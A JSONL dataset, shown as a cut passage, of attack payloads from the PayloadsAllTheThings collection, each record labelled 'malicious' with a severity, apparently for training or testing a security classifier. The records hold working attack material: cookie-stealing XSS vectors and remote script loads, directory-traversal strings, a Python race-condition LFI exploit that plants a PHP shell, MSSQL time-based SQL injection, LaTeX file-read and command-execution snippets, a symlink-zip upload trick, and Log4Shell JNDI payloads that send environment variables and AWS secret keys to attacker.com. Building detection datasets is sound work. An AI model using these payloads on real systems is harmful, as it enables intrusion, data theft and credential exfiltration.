ActiveXObject(%22Msxml2.XMLHTTP%22);xhr.open(%22GET%22,%22/xssme2%22,true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){alert(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();</script>\n<script>alert(document.documentElement.innerHTML.match(/'([^']%2b)/)[1])</script>\n<script>alert(document.getElementsByTagName('html')[0].innerHTML.match(/'([^']%2b)/)[1])</script>\n<%73%63%72%69%70%74> %64 = %64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74(%22%64%69%76%22); %64%2e%61%70%70%65%6e%64%43%68%69%6c%64(%64%6f%63%75%6d%65%6e%74%2e%68%65%61%64%2e%63%6c%6f%6e%65%4e%6f%64%65(%74%72%75%65)); %61%6c%65%72%74(%64%2e%69%6e%6e%65%72%48%54%4d%4c%2e%6d%61%74%63%68(%22%63%6f%6f%6b%69%65 = '(%2e%2a%3f)'%22)[%31]); </%73%63%72%69%70%74>\n<script> var xdr = new ActiveXObject(%22Microsoft.XMLHTTP%22);  xdr.open(%22get%22, %22/xssme2%3Fa=1%22, true); xdr.onreadystatechange = function() { try{   var c;   if (c=xdr.responseText.match(/document.cookie = '(.*%3F)'/) )    alert(c[1]); }catch(e){} };  xdr.send(); </script>\n<iframe id=%22ifra%22 src=%22/%22></iframe> <script>ifr = document.getElementById('ifra'); ifr.contentDocument.write(%22<scr%22 %2b %22ipt>top.foo = Object.defineProperty</scr%22 %2b %22ipt>%22); foo(window, 'Safe', {value:{}}); foo(Safe, 'get', {value:function() {    return document.cookie }}); alert(Safe.get());</script>\n<script>alert(document.head.innerHTML.substr(146,20));</script>\n<script>alert(document.head.childNodes[3].text)</script>\n<script>var request = new XMLHttpRequest();request.open('GET', 'http://html5sec.org/xssme2', false);request.send(null);if (request.status == 200){alert(request.responseText.substr(150,41));}</script>\n<script>Object.defineProperty(window, 'Safe', {value:{}});Object.defineProperty(Safe, 'get', {value:function() {return document.cookie}});alert(Safe.get())</script>\n<script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\\/script>%22)};document.body.appendChild(x);</script>\n<script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>Object.defineProperty(parent,'Safe',{value:{}});Object.defineProperty(pare", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Cross-site scripting payload from XSS Injection/JHADDIX_XSS.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00061", "source": "payloads_all_the_things", "source_license": "MIT", "text": "<SCRIPT>alert('XSS');</SCRIPT>\n'';!--\"<XSS>=&{()}\n<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>\n<IMG SRC=\"javascript:alert('XSS');\">\n<IMG SRC=javascript:alert('XSS')>\n<IMG SRC=JaVaScRiPt:alert('XSS')>\n<IMG SRC=javascript:alert(&quot;XSS&quot;)>\n<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>\n<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>\nSRC=&#10<IMG 6;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>\n<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>\n<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>\n<IMG SRC=\"jav\tascript:alert('XSS');\">\n<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">\n<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">\n<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">\n<IMG SRC=\" &#14;  javascript:alert('XSS');\">\n<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>\n<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>\n<IMG SRC=\"javascript:alert('XSS')\"\n<SCRIPT>a=/XSS/\n\\\";alert('XSS');//\n<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">\n<BODY BACKGROUND=\"javascript:alert('XSS')\">\n<BODY ONLOAD=alert('XSS')>\n<IMG DYNSRC=\"javascript:alert('XSS')\">\n<IMG LOWSRC=\"javascript:alert('XSS')\">\n<BGSOUND SRC=\"javascript:alert('XSS');\">\n<BR SIZE=\"&{alert('XSS')}\">\n<LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER>\n<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">\n<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">\n<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>\n<META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\">\n<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>\n<IMG SRC='vbscript:msgbox(\"XSS\")'>\n<IMG SRC=\"mocha:[code]\">\n<IMG SRC=\"livescript:[code]\">\n<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">\n<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">\n<META HTTP-EQUIV=\"Link\" Content=\"<javascript:alert('XSS')>; REL=stylesheet\">\n<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">\n<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>\n<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>\n<TABLE BACKGROUND=\"javascript:alert('XSS')\">\n<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">\n<DIV STYLE=\"background-image: url(&#1;javascript:alert('XSS'))\">\n<DIV STYLE=\"width: expression(alert('XSS'));\">\n<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>\n<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">\n<XSS STYLE=\"xss:expression(alert('XSS'))\">\nexp/*<XSS STYLE='no\\xss:noxss(\"*//*\");\n<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>\n<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>\n<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>\n<BASE HREF=\"javascript:alert('XSS');//\">\n<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>\n<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>\ngetURL(\"javascript:alert('XSS')\")\na=\"get\";\n<!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas<![CDATA[cript:alert('XSS');\">\n<XML SRC=\"http://ha.ckers.org/xsstest.xml\" ID=I></XML>\n<HTML><BODY>\n<SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT>\n<!--#exec cmd=\"/bin/echo '<SCRIPT SRC'\"--><!--#exec cmd=\"/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'\"-->\n<? echo('<SCR)';\n<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;\">\n<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-\n<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>\n<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>\n<SCRIPT \"a='>'\" SR", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Cross-site scripting payload from XSS Injection/RSNAKE_XSS.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00062", "source": "payloads_all_the_things", "source_license": "MIT", "text": "../{FILE}\n../../{FILE}\n../../../{FILE}\n../../../../{FILE}\n../../../../../{FILE}\n../../../../../../{FILE}\n../../../../../../../{FILE}\n../../../../../../../../{FILE}\n..;/{FILE}\n..;/..;/{FILE}\n..;/..;/..;/{FILE}\n..;/..;/..;/..;/{FILE}\n..;/..;/..;/..;/..;/{FILE}\n..;/..;/..;/..;/..;/..;/{FILE}\n..;/..;/..;/..;/..;/..;/..;/{FILE}\n..;/..;/..;/..;/..;/..;/..;/..;/{FILE}\n..%2f{FILE}\n..%2f..%2f{FILE}\n..%2f..%2f..%2f{FILE}\n..%2f..%2f..%2f..%2f{FILE}\n..%2f..%2f..%2f..%2f..%2f{FILE}\n..%2f..%2f..%2f..%2f..%2f..%2f{FILE}\n..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}\n..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}\n%2e%2e/{FILE}\n%2e%2e/%2e%2e/{FILE}\n%2e%2e/%2e%2e/%2e%2e/{FILE}\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}\n%2e%2e%2f{FILE}\n%2e%2e%2f%2e%2e%2f{FILE}\n%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}\n..%252f{FILE}\n..%252f..%252f{FILE}\n..%252f..%252f..%252f{FILE}\n..%252f..%252f..%252f..%252f{FILE}\n..%252f..%252f..%252f..%252f..%252f{FILE}\n..%252f..%252f..%252f..%252f..%252f..%252f{FILE}\n..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}\n..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}\n%252e%252e/{FILE}\n%252e%252e/%252e%252e/{FILE}\n%252e%252e/%252e%252e/%252e%252e/{FILE}\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}\n%252e%252e%252f{FILE}\n%252e%252e%252f%252e%252e%252f{FILE}\n%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}\n..\\{FILE}\n..\\..\\{FILE}\n..\\..\\..\\{FILE}\n..\\..\\..\\..\\{FILE}\n..\\..\\..\\..\\..\\{FILE}\n..\\..\\..\\..\\..\\..\\{FILE}\n..\\..\\..\\..\\..\\..\\..\\{FILE}\n..\\..\\..\\..\\..\\..\\..\\..\\{FILE}\n..%255c{FILE}\n..%255c..%255c{FILE}\n..%255c..%255c..%255c{FILE}\n..%255c..%255c..%255c..%255c{FILE}\n..%255c..%255c..%255c..%255c..%255c{FILE}\n..%255c..%255c..%255c..%255c..%255c..%255c{FILE}\n..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}\n..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}\n..%5c..%5c{FILE}\n..%5c..%5c..%5c{FILE}\n..%5c..%5c..%5c..%5c{FILE}\n..%5c..%5c..%5c..%5c..%5c{FILE}\n..%5c..%5c..%5c..%5c..%5c..%5c{FILE}\n..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}\n..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}\n%2e%2e\\{FILE}\n%2e%2e\\%2e%2e\\{FILE}\n%2e%2e\\%2e%2e\\%2e%2e\\{FILE}\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}\n%2e%2e%5c{FILE}\n%2e%2e%5c%2e%2e%5c{FILE}\n%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Directory traversal payload from Directory Traversal/deep_traversal.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00063", "source": "payloads_all_the_things", "source_license": "MIT", "text": "from __future__ import print_function\nfrom builtins import range\nimport itertools\nimport requests\nimport string\nimport sys\n\nprint('[+] Trying to win the race')\nf = {'file': open('shell.php', 'rb')}\nfor _ in range(4096 * 4096):\n    requests.post('http://target.com/index.php?c=index.php', f)\n\n\nprint('[+] Bruteforcing the inclusion')\nfor fname in itertools.combinations(string.ascii_letters + string.digits, 6):\n    url = 'http://target.com/index.php?c=/tmp/php' + fname\n    r = requests.get(url)\n    if 'load average' in r.text:  # <?php echo system('uptime');\n        print('[+] We have got a shell: ' + url)\n        sys.exit(0)\n\nprint('[x] Something went wrong, please try again')\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "File inclusion payload from File Inclusion/uploadlfi.py. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00064", "source": "payloads_all_the_things", "source_license": "MIT", "text": " waitfor delay '0:0:20' /* \n waitfor delay '0:0:20' --\n' waitfor delay '0:0:20' /* \n' waitfor delay '0:0:20' --\n\" waitfor delay '0:0:20' /* \n\" waitfor delay '0:0:20' --\n) waitfor delay '0:0:20' /* \n) waitfor delay '0:0:20' --\n)) waitfor delay '0:0:20' /* \n)) waitfor delay '0:0:20' --\n))) waitfor delay '0:0:20' /* \n))) waitfor delay '0:0:20' --\n)))) waitfor delay '0:0:20' /* \n)))) waitfor delay '0:0:20' --\n))))) waitfor delay '0:0:20' --\n)))))) waitfor delay '0:0:20' --\n') waitfor delay '0:0:20' /* \n') waitfor delay '0:0:20' --\n\") waitfor delay '0:0:20' /* \n\") waitfor delay '0:0:20' --\n')) waitfor delay '0:0:20' /* \n')) waitfor delay '0:0:20' --\n\")) waitfor delay '0:0:20' /* \n\")) waitfor delay '0:0:20' --\n'))) waitfor delay '0:0:20' /* \n'))) waitfor delay '0:0:20' --\n\"))) waitfor delay '0:0:20' /* \n\"))) waitfor delay '0:0:20' --\n')))) waitfor delay '0:0:20' /* \n')))) waitfor delay '0:0:20' --\n\")))) waitfor delay '0:0:20' /* \n\")))) waitfor delay '0:0:20' --\n'))))) waitfor delay '0:0:20' /* \n'))))) waitfor delay '0:0:20' --\n\"))))) waitfor delay '0:0:20' /* \n\"))))) waitfor delay '0:0:20' --\n')))))) waitfor delay '0:0:20' /* \n')))))) waitfor delay '0:0:20' --\n\")))))) waitfor delay '0:0:20' /* \n\")))))) waitfor delay '0:0:20' --", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "SQL injection payload from SQL Injection/FUZZDB_MSSQL-WHERE_Time.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00065", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# MySQL Injection\n\n> MySQL Injection  is a type of security vulnerability that occurs when an attacker is able to manipulate the SQL queries made to a MySQL database by injecting malicious input. This vulnerability is often the result of improperly handling user input, allowing attackers to execute arbitrary SQL code that can compromise the database's integrity and security.\n\n## Summary\n\n* [MYSQL Default Databases](#mysql-default-databases)\n* [MYSQL Comments](#mysql-comments)\n* [MYSQL Testing Injection](#mysql-testing-injection)\n* [MYSQL Union Based](#mysql-union-based)\n    * [Detect Columns Number](#detect-columns-number)\n        * [Iterative NULL Method](#iterative-null-method)\n        * [ORDER BY Method](#order-by-method)\n        * [LIMIT INTO Method](#limit-into-method)\n    * [Extract Database With Information_schema](#extract-database-with-information_schema)\n    * [Extract Columns Name Without Information_Schema](#extract-columns-name-without-information_schema)\n    * [Extract Data Without Columns Name](#extract-data-without-columns-name)\n* [MYSQL Error Based](#mysql-error-based)\n    * [MYSQL Error Based - Basic](#mysql-error-based---basic)\n    * [MYSQL Error Based - UpdateXML Function](#mysql-error-based---updatexml-function)\n    * [MYSQL Error Based - Extractvalue Function](#mysql-error-based---extractvalue-function)\n* [MYSQL Blind](#mysql-blind)\n    * [MYSQL Blind With Substring Equivalent](#mysql-blind-with-substring-equivalent)\n    * [MYSQL Blind Using A Conditional Statement](#mysql-blind-using-a-conditional-statement)\n    * [MYSQL Blind With MAKE_SET](#mysql-blind-with-make_set)\n    * [MYSQL Blind With LIKE](#mysql-blind-with-like)\n    * [MySQL Blind With REGEXP](#mysql-blind-with-regexp)\n* [MYSQL Time Based](#mysql-time-based)\n    * [Using SLEEP in a Subselect](#using-sleep-in-a-subselect)\n    * [Using Conditional Statements](#using-conditional-statements)\n* [MYSQL DIOS - Dump in One Shot](#mysql-dios---dump-in-one-shot)\n* [MYSQL Current Queries](#mysql-current-queries)\n* [MYSQL Read Content of a File](#mysql-read-content-of-a-file)\n* [MYSQL Command Execution](#mysql-command-execution)\n    * [WEBSHELL - OUTFILE method](#webshell---outfile-method)\n    * [WEBSHELL - DUMPFILE method](#webshell---dumpfile-method)\n    * [COMMAND - UDF Library](#command---udf-library)\n* [MYSQL INSERT](#mysql-insert)\n* [MYSQL Truncation](#mysql-truncation)\n* [MYSQL Out of Band](#mysql-out-of-band)\n    * [DNS Exfiltration](#dns-exfiltration)\n    * [UNC Path - NTLM Hash Stealing](#unc-path---ntlm-hash-stealing)\n* [MYSQL WAF Bypass](#mysql-waf-bypass)\n    * [Alternative to Information Schema](#alternative-to-information-schema)\n    * [Alternative to VERSION](#alternative-to-version)\n    * [Alternative to GROUP_CONCAT](#alternative-to-group_concat)\n    * [Scientific Notation](#scientific-notation)\n    * [Conditional Comments](#conditional-comments)\n    * [Wide Byte Injection (GBK)](#wide-byte-injection-gbk)\n* [References](#references)\n\n## MYSQL Default Databases\n\n| Name               | Description              |\n|--------------------|--------------------------|\n| mysql              | Requires root privileges |\n| information_schema | Available from version 5 and higher |\n\n## MYSQL Comments\n\nMySQL comments are annotations in SQL code that are ignored by the MySQL server during execution.\n\n| Type                       | Description                       |\n|----------------------------|-----------------------------------|\n| `#`                        | Hash comment                      |\n| `/* MYSQL Comment */`      | C-style comment                   |\n| `/*! MYSQL Special SQL */` | Special SQL                       |\n| `/*!32302 10*/`            | Comment for MYSQL version 3.23.02 |\n| `--`                       | SQL comment                       |\n| `;%00`                     | Nullbyte                          |\n| \\`                         | Backtick                          |\n\n## MYSQL Testing Injection\n\n* **Strings**: Query like `SELECT ", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "SQL injection payload from SQL Injection/MySQL Injection.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00066", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# LaTeX Injection\n\n> LaTeX Injection is a type of injection attack where malicious content is injected into LaTeX documents. LaTeX is widely used for document preparation and typesetting, particularly in academia, for producing high-quality scientific and mathematical documents. Due to its powerful scripting capabilities, LaTeX can be exploited by attackers to execute arbitrary commands if proper safeguards are not in place.\n\n## Summary\n\n* [File Manipulation](#file-manipulation)\n    * [Read File](#read-file)\n    * [Write File](#write-file)\n* [Command Execution](#command-execution)\n* [Cross Site Scripting](#cross-site-scripting)\n* [Labs](#labs)\n* [References](#references)\n\n## File Manipulation\n\n### Read File\n\nAttackers can read the content of sensitive files on the server.\n\nRead file and interpret the LaTeX code in it:\n\n```tex\n\\input{/etc/passwd}\n\\include{somefile} # load .tex file (somefile.tex)\n```\n\nRead single lined file:\n\n```tex\n\\newread\\file\n\\openin\\file=/etc/issue\n\\read\\file to\\line\n\\text{\\line}\n\\closein\\file\n```\n\nRead multiple lined file:\n\n```tex\n\\lstinputlisting{/etc/passwd}\n\\newread\\file\n\\openin\\file=/etc/passwd\n\\loop\\unless\\ifeof\\file\n    \\read\\file to\\fileline\n    \\text{\\fileline}\n\\repeat\n\\closein\\file\n```\n\nRead text file, **without** interpreting the content, it will only paste raw file content:\n\n```tex\n\\usepackage{verbatim}\n\\verbatiminput{/etc/passwd}\n```\n\nIf injection point is past document header (`\\usepackage` cannot be used), some control\ncharacters can be deactivated in order to use `\\input` on file containing `$`, `#`,\n`_`, `&`, null bytes, ... (eg. perl scripts).\n\n```tex\n\\catcode `\\$=12\n\\catcode `\\#=12\n\\catcode `\\_=12\n\\catcode `\\&=12\n\\input{path_to_script.pl}\n```\n\nTo bypass a blacklist try to replace one character with it's unicode hex value.\n\n* ^^41 represents a capital A\n* ^^7e represents a tilde (~) note that the \u2018e\u2019 must be lower case\n\n```tex\n\\lstin^^70utlisting{/etc/passwd}\n```\n\n### Write File\n\nWrite single lined file:\n\n```tex\n\\newwrite\\outfile\n\\openout\\outfile=cmd.tex\n\\write\\outfile{Hello-world}\n\\write\\outfile{Line 2}\n\\write\\outfile{I like trains}\n\\closeout\\outfile\n```\n\n## Command Execution\n\nThe output of the command will be redirected to stdout, therefore you need to use a temp file to get it.\n\n```tex\n\\immediate\\write18{id > output}\n\\input{output}\n```\n\nIf you get any LaTex error, consider using base64 to get the result without bad characters (or use `\\verbatiminput`):\n\n```tex\n\\immediate\\write18{env | base64 > test.tex}\n\\input{text.tex}\n```\n\n```tex\n\\input|ls|base64\n\\input{|\"/bin/hostname\"}\n```\n\n## Cross Site Scripting\n\nFrom [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)\n\n```tex\n\\url{javascript:alert(1)}\n\\href{javascript:alert(1)}{placeholder}\n```\n\nIn [mathjax](https://docs.mathjax.org/en/latest/input/tex/extensions/unicode.html)\n\n```tex\n\\unicode{<img src=1 onerror=\"<ARBITRARY_JS_CODE>\">}\n```\n\n## Labs\n\n* [Root Me - LaTeX - Input](https://www.root-me.org/en/Challenges/App-Script/LaTeX-Input)\n* [Root Me - LaTeX - Command Execution](https://www.root-me.org/en/Challenges/App-Script/LaTeX-Command-execution)\n\n## References\n\n* [Hacking with LaTeX - Sebastian Neef - March 10, 2016](https://web.archive.org/web/20260209043241/https://0day.work/hacking-with-latex/)\n* [Latex to RCE, Private Bug Bounty Program - Yasho - July 6, 2018](https://web.archive.org/web/20210117203905/https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a)\n* [Pwning coworkers thanks to LaTeX - scumjr - November 28, 2016](https://web.archive.org/web/20161130151956/https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "medium", "explanation": "LaTeX injection payload from LaTeX Injection/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00067", "source": "payloads_all_the_things", "source_license": "MIT", "text": "ln -s /etc/passwd link\nzip --symlinks test.zip link\n", "findings": [{"category": "malicious", "subcategory": "malicious.shell", "severity": "critical", "explanation": "Malicious file upload payload from Upload Insecure Files/generate.sh. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00068", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# CVE-2021-44228 Log4Shell\n\n> Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled\n\n## Summary\n\n* [Vulnerable code](#vulnerable-code)\n* [Payloads](#payloads)\n* [Scanning](#scanning)\n* [WAF Bypass](#waf-bypass)\n* [Exploitation](#exploitation)\n    * [Environment variables exfiltration](#environment-variables-exfiltration)\n    * [Remote Command Execution](#remote-command-execution)\n* [References](#references)\n\n## Vulnerable code\n\nYou can reproduce locally with: `docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app` using [christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) or [leonjza/log4jpwn](\nhttps://github.com/leonjza/log4jpwn)\n\n```java\npublic String index(@RequestHeader(\"X-Api-Version\") String apiVersion) {\n    logger.info(\"Received a request for API version \" + apiVersion);\n    return \"Hello, world!\";\n}\n```\n\n## Payloads\n\n```bash\n# Identify Java version and hostname\n${jndi:ldap://${java:version}.domain/a}\n${jndi:ldap://${env:JAVA_VERSION}.domain/a}\n${jndi:ldap://${sys:java.version}.domain/a}\n${jndi:ldap://${sys:java.vendor}.domain/a}\n${jndi:ldap://${hostName}.domain/a}\n${jndi:dns://${hostName}.domain}\n\n# More enumerations keywords and variables\njava:os\ndocker:containerId\nweb:rootDir\nbundle:config:db.password\n```\n\n## Scanning\n\n* [log4j-scan](https://github.com/fullhunt/log4j-scan)\n\n    ```powershell\n    usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]\n                        [--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]\n    python3 log4j-scan.py -u http://127.0.0.1:8081 --run-all-test\n    python3 log4j-scan.py -u http://127.0.0.1:808 --waf-bypass\n    ```\n\n* [Nuclei Template](https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/cves/2021/CVE-2021-44228.yaml)\n\n## WAF Bypass\n\n```powershell\n${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/a}\n\n# using lower and upper\n${${lower:jndi}:${lower:rmi}://127.0.0.1:1389/poc}\n${j${loWer:Nd}i${uPper::}://127.0.0.1:1389/poc}\n${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}\n\n# using env to create the letter\n${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}\n${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}\n```\n\n## Exploitation\n\n### Environment variables exfiltration\n\n```powershell\n${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/\n\n# AWS Access Key\n${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}\n```\n\n### Remote Command Execution\n\n* [rogue-jndi - @artsploit](https://github.com/artsploit/rogue-jndi)\n\n    